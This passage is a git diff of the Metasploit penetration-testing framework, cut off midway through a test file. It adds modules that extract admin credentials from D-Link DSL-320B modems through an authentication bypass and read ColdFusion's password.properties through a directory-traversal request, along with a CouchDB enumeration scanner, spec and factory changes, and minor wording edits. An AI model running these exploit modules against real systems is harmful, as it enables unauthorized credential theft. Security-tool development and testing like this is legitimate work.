b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1386,17 +1386,16 @@ class Core print_line print_line "Keywords:" { - "name" => "Modules with a matching descriptive name", - "path" => "Modules with a matching path or reference name", - "platform" => "Modules affecting this platform", - "port" => "Modules with a matching remote port", - "type" => "Modules of a specific type (exploit, auxiliary, or post)", - "app" => "Modules that are client or server attacks", - "author" => "Modules written by this author", - "cve" => "Modules with a matching CVE ID", - "bid" => "Modules with a matching Bugtraq ID", - "osvdb" => "Modules with a matching OSVDB ID", - "edb" => "Modules with a matching Exploit-DB ID" + 'app' => 'Modules that are client or server attacks', + 'author' => 'Modules written by this author', + 'bid' => 'Modules with a matching Bugtraq ID', + 'cve' => 'Modules with a matching CVE ID', + 'edb' => 'Modules with a matching Exploit-DB ID', + 'name' => 'Modules with a matching descriptive name', + 'osvdb' => 'Modules with a matching OSVDB ID', + 'platform' => 'Modules affecting this platform', + 'ref' => 'Modules with a matching ref', + 'type' => 'Modules of a specific type (exploit, auxiliary, or post)', }.each_pair do |keyword, description| print_line " #{keyword.ljust 10}: #{description}" end @@ -1456,9 +1455,13 @@ class Core end - def search_modules_sql(match) + # Prints table of modules matching the search_string. + # + # @param (see Msf::DBManager#search_modules) + # @return [void] + def search_modules_sql(search_string) tbl = generate_module_table("Matching Modules") - framework.db.search_modules(match).each do |o| + framework.db.search_modules(search_string).each do |o| tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ] end print_line(tbl.to_s) diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb new file mode 100644 index 0000000000..9f792dffc2 --- /dev/null +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -0,0 +1,92 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'DLink DSL 320B Password Extractor', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in DLink DSL 320B + <=v1.23. This vulnerability allows to extract the credentials for the remote + management interface. + }, + 'References' => + [ + [ 'EDB', '25252' ], + [ 'OSVDB', '93013' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ], + [ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ], + ], + 'Author' => [ + 'Michael Messner ', + ], + 'License' => MSF_LICENSE + ) + end + + def run + vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") + + #download configuration + begin + res = send_request_cgi({ + 'uri' => '/config.bin', + 'method' => 'GET' + }) + + return if res.nil? + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/) + return if (res.code == 404) + + if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/ + if res.body !~ /sysPassword value/ + print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin") + else + print_good("#{rhost}:#{rport} - Credentials successfully extracted") + end + + #store all details as loot -> there is some usefull stuff in the response + loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body) + print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}") + + user = "" + pass = "" + + res.body.each_line do |line| + if line =~ /\/ + user = $1 + next + end + if line =~ /\/ + pass = $1 + pass = Rex::Text.decode_base64(pass) + print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}") + report_auth_info( + :host => rhost, + :port => rport, + :sname => 'http', + :user => user, + :pass => pass, + :active => true + ) + end + end + end + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return + end + + + end +end diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 88dc3f787c..83dbf8386e 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -19,8 +19,8 @@ class Metasploit4 < Msf::Auxiliary The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the length of an encrypted message when used with a TLS version 1.1 or above. This leads to an integer underflow which can cause a DoS. The vulnerable function - aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL. - This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default + aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL. + This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default OpenSSL 1.0.1c package. }, 'Author' => diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb new file mode 100644 index 0000000000..80cac4f00b --- /dev/null +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -0,0 +1,106 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "ColdFusion 'password.properties' Hash Extraction", + 'Description' => %q{ + This module uses a directory traversal vulnerability to extract information + such as password, rdspassword, and "encrypted" properties. This module has been + tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the + target ColdFusion version. + }, + 'References' => + [ + [ 'OSVDB', '93114' ], + [ 'EDB', '25305' ] + ], + 'Author' => + [ + 'HTP', + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['ColdFusion10'], + ['ColdFusion9'] + ], + 'DefaultAction' => 'ColdFusion10', + 'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc + )) + + register_options( + [ + Opt::RPORT(8500), + OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/']) + ], self.class) + end + + def peer + "#{datastore['RHOST']}:#{datastore['RPORT']}" + end + + def run + filename = "" + case action.name + when 'ColdFusion10' + filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties" + when 'ColdFusion9' + filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties" + end + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'), + 'encode_params' => false, + 'encode' => false, + 'vars_get' => { + 'attributes.id' => 'it', + 'attributes.file' => '../../administrator/mail/download.cfm', + 'filename' => filename, + 'attributes.locale' => 'it', + 'attributes.var' => 'it', + 'attributes.jscript' => 'false', + 'attributes.type' => 'text/html', + 'attributes.charset' => 'UTF-8', + 'thisTag.executionmode' => 'end', + 'thisTag.generatedContent' => 'htp' + } + }) + + if res.nil? + print_error("#{peer} - Unable to receive a response") + return + end + + rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || '' + password = res.body.scan(/^password=(.+)/).flatten[0] || '' + encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || '' + + if rdspass.empty? and password.empty? + # No pass collected, no point to store anything + print_error("#{peer} - No passwords found") + return + end + + print_good("#{peer} - rdspassword = #{rdspass}") + print_good("#{peer} - password = #{password}") + print_good("#{peer} - encrypted = #{encrypted}") + + p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body) + print_good("#{peer} - password.properties stored in '#{p}'") + end + +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb new file mode 100644 index 0000000000..3a2103fd53 --- /dev/null +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -0,0 +1,85 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CouchDB Enum Utility', + 'Description' => %q{ + Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default) + }, + 'Author' => [ 'espreto ' ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(5984), + OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]), + OptString.new('USERNAME', [false, 'The username to login as']), + OptString.new('PASSWORD', [false, 'The password to login with']) + ], self.class) + end + + def run + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ + 'uri' => uri, + 'method' => datastore['HTTP_METHOD'], + 'authorization' => basic_auth(username, password), + 'headers' => { + 'Cookie' => 'Whatever?' + } + }) + + if res.nil? + print_error("No response for #{target_host}") + return nil + end + + begin + temp = JSON.parse(res.body) + rescue JSON::ParserError + print_error("Unable to parse JSON") + return + end + + results = JSON.pretty_generate(temp) + + if (res.code == 200) + print_good("#{target_host}:#{rport} -> #{res.code}") + print_good("Response Headers:\n\n #{res.headers}") + print_good("Response Body:\n\n #{results}\n") + elsif (res.code == 403) # Forbidden + print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}") + print_error("Response from server:\n\n #{results}\n") + elsif (res.code == 404) # Not Found + print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}") + print_error("Response from server:\n\n #{results}\n") + else + print_status("Received #{res.code}") + print_line("#{results}") + end + + if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0 + path = store_loot("couchdb.enum.file", "text/plain", rhost, res.body, "CouchDB Enum Results") + print_status("Results saved to #{path}") + else + print_error("Failed to save the result") + end + end +end diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index e15eb8624a..4f16aa7563 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP RFC Service, to execute remote commands. This module needs SAP credentials with privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested - successfully on Windows 2008 64 bits and Linux 64 bits platforms. + successfully on Windows 2008 64-bit and Linux 64-bit platforms. }, 'References' => [ diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index d1418a5dcc..4eaf377362 100755 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP SOAP RFC Service, to execute remote commands. This module needs SAP credentials with privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested - successfully on Windows 2008 64 bits and Linux 64 bits platforms. + successfully on Windows 2008 64-bit and Linux 64-bit platforms. }, 'References' => [ diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 2553e8d7c4..86299262dc 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb diff --git a/spec/factories/mdm/module_details.rb b/spec/factories/mdm/module_details.rb new file mode 100644 index 0000000000..9f6a4d1d7e --- /dev/null +++ b/spec/factories/mdm/module_details.rb @@ -0,0 +1,9 @@ +FactoryGirl.modify do + factory :mdm_module_detail do + ignore do + root { + Metasploit::Framework.root + } + end + end +end \ No newline at end of file diff --git a/spec/factories/mdm/routes.rb b/spec/factories/mdm/routes.rb new file mode 100644 index 0000000000..a93ce603e9 --- /dev/null +++ b/spec/factories/mdm/routes.rb @@ -0,0 +1,34 @@ +FactoryGirl.define do + factory :mdm_route, :class => Mdm::Route do + netmask { generate :mdm_route_netmask } + subnet { generate :mdm_route_subnet } + + # + # Associations + # + association :session, :factory => :mdm_session + end + + sequence :mdm_route_netmask do |n| + bits = 32 + bitmask = n % bits + + [ (~((2 ** (bits - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.') + + bits = 32 + shift = n % bits + mask_range = 2 ** bits + full_mask = mask_range - 1 + + integer_netmask = (full_mask << shift) + formatted_netmask = [integer_netmask].pack('N').unpack('CCCC').join('.') + + formatted_netmask + end + + sequence :mdm_route_subnet do |n| + class_c_network = n % 255 + + "192.168.#{class_c_network}.0" + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/db_spec.rb b/spec/lib/msf/core/db_spec.rb deleted file mode 100644 index f73e129a18..0000000000 --- a/spec/lib/msf/core/db_spec.rb +++ /dev/null @@ -1,22 +0,0 @@ -# -# Specs -# - -require 'spec_helper' - -# -# Project -# - -require 'metasploit/framework/database' -require 'msf/core' - -describe Msf::DBManager do - include_context 'Msf::Simple::Framework' - - subject(:db_manager) do - framework.db - end - - it_should_behave_like 'Msf::DBManager::ImportMsfXml' -end diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index 714d545f64..5bab5a7104 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -16,6 +16,8 @@ require 'tmpdir' require 'msf/core' describe Msf::ModuleManager do + include_context 'Msf::Simple::Framework' + let(:archive_basename) do [basename_prefix, archive_extension] end @@ -28,161 +30,11 @@ describe Msf::ModuleManager do 'rspec' end - let(:framework) do - Msf::Framework.new + subject(:module_manager) do + framework.modules end - subject do - described_class.new(framework) - end - - context '#add_module_path' do - it 'should strip trailing File::SEPARATOR from the path' do - Dir.mktmpdir do |path| - path_with_trailing_separator = path + File::SEPARATOR - subject.add_module_path(path_with_trailing_separator) - - subject.send(:module_paths).should_not include(path_with_trailing_separator) - subject.send(:module_paths).should include(path) - end - end - - context 'with Fastlib archive' do - it 'should raise an ArgumentError unless the File exists' do - file = Tempfile.new(archive_basename) - # unlink will clear path, so copy it to a variable - path = file.path - file.unlink - - File.exist?(path).should be_false - - expect { - subject.add_module_path(path) - }.to raise_error(ArgumentError, "The path supplied does not exist") - end - - it 'should add the path to #module_paths if the File exists' do - Tempfile.open(archive_basename) do |temporary_file| - path = temporary_file.path - - File.exist?(path).should be_true - - subject.add_module_path(path) - - subject.send(:module_paths).should include(path) - end - end - end - - context 'with directory' do - it 'should add path to #module_paths' do - Dir.mktmpdir do |path| - subject.add_module_path(path) - - subject.send(:module_paths).should include(path) - end - end - - context 'containing Fastlib archives' do - it 'should add each Fastlib archive to #module_paths' do - Dir.mktmpdir do |directory| - Tempfile.open(archive_basename, directory) do |file| - subject.add_module_path(directory) - - subject.send(:module_paths).should include(directory) - subject.send(:module_paths).should include(file.path) - end - end - end - end - end - - context 'with other file' do - it 'should raise ArgumentError' do - Tempfile.open(basename_prefix) do |file| - expect { - subject.add_module_path(file.path) - }.to raise_error(ArgumentError, 'The path supplied is not a valid directory.') - end - end - end - end - - context '#file_changed?' do - let(:module_basename) do - [basename_prefix, '.rb'] - end - - it 'should return true if module info is not cached' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - - subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_true - end - end - - it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path) - - subject.send(:module_info_by_path)[module_path] = { - # :modification_time must match so that it is the :type that is causing the `true` and not the - # :modification_time causing the `true`. - :modification_time => modification_time, - :type => Msf::MODULE_PAYLOAD - } - - subject.file_changed?(module_path).should be_true - end - end - - context 'with cache module info and not a payload module' do - it 'should return true if the file does not exist on the file system' do - tempfile = Tempfile.new(module_basename) - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - - subject.send(:module_info_by_path)[module_path] = { - :modification_time => modification_time - } - - tempfile.unlink - - File.exist?(module_path).should be_false - subject.file_changed?(module_path).should be_true - end - - it 'should return true if modification time does not match the cached modification time' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - cached_modification_time = (modification_time * rand).to_i - - subject.send(:module_info_by_path)[module_path] = { - :modification_time => cached_modification_time - } - - cached_modification_time.should_not == modification_time - subject.file_changed?(module_path).should be_true - end - end - - it 'should return false if modification time does match the cached modification time' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - cached_modification_time = modification_time - - subject.send(:module_info_by_path)[module_path] = { - :modification_time => cached_modification_time - } - - cached_modification_time.should == modification_time - subject.file_changed?(module_path).should be_false - end - end - end - end + it_should_behave_like 'Msf::ModuleManager::Cache' + it_should_behave_like 'Msf::ModuleManager::Loading' + it_should_behave_like 'Msf::ModuleManager::ModulePaths' end \ No newline at end of file diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 0c4594c7e9..20780a0309 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -1168,11 +1168,11 @@ describe Msf::Modules::Loader::Base do it 'should do nothing if parent_module is nil' do parent_module = nil - allow_message_expectations_on_nil - parent_module.should_not_receive(:remove_const) - parent_module.should_not_receive(:const_set) - - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + # can check that NoMethodError is not raised because *const* methods are + # not defined on `nil`. + expect { + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + }.to_not raise_error(NoMethodError) end context 'with namespace_module nil' do diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb new file mode 100644 index 0000000000..33e1d07466 --- /dev/null +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -0,0 +1,108 @@ +require 'spec_helper' + +require 'msf/core/db_export' + +describe Msf::DBManager::Export do + include_context 'Msf::DBManager' + + subject(:export) do + described_class.new(workspace) + end + + let(:active) do + true + end + + let(:workspace) do + FactoryGirl.create( + :mdm_workspace + ) + end + + context '#extract_module_detail_info' do + let(:report_file) do + StringIO.new + end + + subject(:extract_module_detail_info) do + export.extract_module_detail_info(report_file) + end + + context 'with Mdm::Module::Details' do + let(:document) do + Nokogiri::XML(report_file.string) + end + + let(:module_detail_count) do + 2 + end + + let(:root) do + document.root + end + + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end + + before(:each) do + report_file.write("") + extract_module_detail_info + report_file.write("") + end + + it 'should have module_detail tag for each Mdm::Module::Detail' do + nodes = root.xpath('module_detail') + + nodes.length.should == module_detail_count + end + + context 'module_detail' do + let(:module_detail) do + module_details.first + end + + subject(:module_detail_node) do + root.at_xpath('module_detail') + end + + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description' + + context '/disclosure-date' do + it 'should have Mdm::Module::Detail#disclosure_date present' do + module_detail.disclosure_date.should be_present + end + + it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do + node = module_detail_node.at_xpath('disclosure-date') + + Date.parse(node.content).should == module_detail.disclosure_date + end + end + + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname' + + # @todo https://www.pivotaltracker.com/story/show/48451001 + end + end + + context 'without Mdm::Module::Details' do + it 'should not write anything to report_file' do + extract_module_detail_info + + report_file.string.should be_empty + end + end + end +end \ No newline at end of file diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb new file mode 100644 index 0000000000..183c881a60 --- /dev/null +++ b/spec/lib/msf/db_manager_spec.rb @@ -0,0 +1,1789 @@ +# +# Specs +# + +require 'spec_helper' + +# +# Project +# + +require 'metasploit/framework/database' +require 'msf/core' + +describe Msf::DBManager do + include_context 'Msf::DBManager' + + subject do + db_manager + end + + it_should_behave_like 'Msf::DBManager::ImportMsfXml' + + context '#purge_all_module_details' do + def purge_all_module_details + db_manager.purge_all_module_details + end + + let(:migrated) do + false + end + + let(:module_detail_count) do + 2 + end + + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + false + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + let(:modules_caching) do + true + end + + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + + context 'without modules_caching' do + it 'should create a connection' do + # in purge_all_module_details + # in after(:each) + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original + + purge_all_module_details + end + + it 'should destroy all Mdm::Module::Details' do + expect { + purge_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#report_session' do + let(:options) do + {} + end + + subject(:report_session) do + db_manager.report_session(options) + end + + context 'with active' do + let(:active) do + true + end + + it 'should create connection' do + # 1st time from with_established_connection + # 2nd time from report_session + ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times + + report_session + end + + context 'with :session' do + before(:each) do + options[:session] = session + end + + context 'with Msf::Session' do + let(:exploit_datastore) do + Msf::ModuleDataStore.new(module_instance).tap do |datastore| + datastore['ParentModule'] = parent_module_fullname + + remote_port = rand(2 ** 16 - 1) + datastore['RPORT'] = remote_port + end + end + + let(:host) do + FactoryGirl.create(:mdm_host, :workspace => session_workspace) + end + + let(:module_instance) do + name = 'multi/handler' + + mock( + 'Msf::Module', + :fullname => "exploit/#{name}", + :framework => framework, + :name => name + ) + end + + let(:options_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:parent_module_fullname) do + "exploit/#{parent_module_name}" + end + + let(:parent_module_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + Metasploit::Framework.root.join('modules').to_path + end + + let(:session) do + session_class.new.tap do |session| + session.exploit_datastore = exploit_datastore + session.info = 'Info' + session.platform = 'Platform' + session.session_host = host.address + session.sid = rand(100) + session.type = 'Session Type' + session.via_exploit = 'exploit/multi/handler' + session.via_payload = 'payload/single/windows/metsvc_bind_tcp' + session.workspace = session_workspace.name + end + end + + let(:session_class) do + Class.new do + include Msf::Session + + attr_accessor :datastore + attr_accessor :platform + attr_accessor :type + attr_accessor :via_exploit + attr_accessor :via_payload + end + end + + let(:session_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + reference_name = 'multi/handler' + path = File.join(parent_path, 'exploits', reference_name) + + # fake cache data for exploit/multi/handler so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => 'exploit', + } + } + ) + + FactoryGirl.create( + :mdm_module_detail, + :fullname => parent_module_fullname, + :name => parent_module_name + ) + end + + context 'with :workspace' do + before(:each) do + options[:workspace] = options_workspace + end + + it 'should not find workspace from session' do + db_manager.should_not_receive(:find_workspace) + + report_session + end + end + + context 'without :workspace' do + it 'should find workspace from session' do + db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + + report_session + end + + it 'should pass session.workspace to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :workspace => session_workspace + ) + ).and_return(host) + + report_session + end + end + + context 'with workspace from either :workspace or session' do + it 'should pass normalized host from session as :host to #find_or_create_host' do + normalized_host = mock('Normalized Host') + db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. + db_manager.stub(:report_vuln) + + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :host => normalized_host + ) + ).and_return(host) + + report_session + end + + context 'with session responds to arch' do + let(:arch) do + FactoryGirl.generate :mdm_host_arch + end + + before(:each) do + session.stub(:arch => arch) + end + + it 'should pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :arch => arch + ) + ).and_call_original + + report_session + end + end + + context 'without session responds to arch' do + it 'should not pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_excluding( + :arch + ) + ).and_call_original + + report_session + end + end + + it 'should create an Mdm::Session' do + expect { + report_session + }.to change(Mdm::Session, :count).by(1) + end + + it { should be_an Mdm::Session } + + it 'should set session.db_record to created Mdm::Session' do + mdm_session = report_session + + session.db_record.should == mdm_session + end + + context 'with session.via_exploit' do + it 'should create session.via_exploit module' do + framework.modules.should_receive(:create).with(session.via_exploit).and_call_original + + report_session + end + + it 'should create Mdm::Vuln' do + expect { + report_session + }.to change(Mdm::Vuln, :count).by(1) + end + + context 'created Mdm::Vuln' do + let(:mdm_session) do + Mdm::Session.last + end + + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:vuln) do + Mdm::Vuln.last + end + + its(:host) { should == Mdm::Host.last } + its(:refs) { should == [] } + its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.exploit_datastore['ParentModule']" do + its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } + its(:name) { should == parent_module_name } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + before(:each) do + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} + its(:name) { should == reference_name } + end + + context 'with RPORT' do + let(:rport) do + # use service.port instead of having service use rport so + # that service is forced to exist before call to + # report_service, which happens right after using rport in + # outer context's before(:each) + service.port + end + + let(:service) do + FactoryGirl.create( + :mdm_service, + :host => host + ) + end + + its(:service) { should == service } + end + + context 'without RPORT' do + its(:service) { should be_nil } + end + end + + context 'created Mdm::ExploitAttempt' do + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:exploit_attempt) do + Mdm::ExploitAttempt.last + end + + its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } + # @todo https://www.pivotaltracker.com/story/show/48362615 + its(:session_id) { should == Mdm::Session.last.id } + its(:exploited) { should == true } + # @todo https://www.pivotaltracker.com/story/show/48362615 + its(:vuln_id) { should == Mdm::Vuln.last.id } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.datastore['ParentModule']" do + its(:module) { should == parent_module_fullname } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + session.via_exploit = parent_module_fullname + end + + its(:module) { should == session.via_exploit } + end + end + end + + context 'returned Mdm::Session' do + before(:each) do + Timecop.freeze + end + + after(:each) do + Timecop.return + end + + subject(:mdm_session) do + report_session + end + + # + # Ensure session has attributes present so its on mdm_session are + # not just comparing nils. + # + + it 'should have session.info present' do + session.info.should be_present + end + + it 'should have session.sid present' do + session.sid.should be_present + end + + it 'should have session.platform present' do + session.platform.should be_present + end + + it 'should have session.type present' do + session.type.should be_present + end + + it 'should have session.via_exploit present' do + session.via_exploit.should be_present + end + + it 'should have session.via_payload present' do + session.via_exploit.should be_present + end + + its(:datastore) { should == session.exploit_datastore.to_h } + its(:desc) { should == session.info } + its(:host_id) { should == Mdm::Host.last.id } + its(:last_seen) { should be_within(1.second).of(Time.now.utc) } + its(:local_id) { should == session.sid } + its(:opened_at) { should be_within(1.second).of(Time.now.utc) } + its(:platform) { should == session.platform } + its(:routes) { should == [] } + its(:stype) { should == session.type } + its(:via_payload) { should == session.via_payload } + + context "with session.via_exploit 'exploit/multi/handler'" do + it "should have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should == 'exploit/multi/handler' + end + + context "with session.exploit_datastore['ParentModule']" do + it "should have session.exploit_datastore['ParentModule']" do + 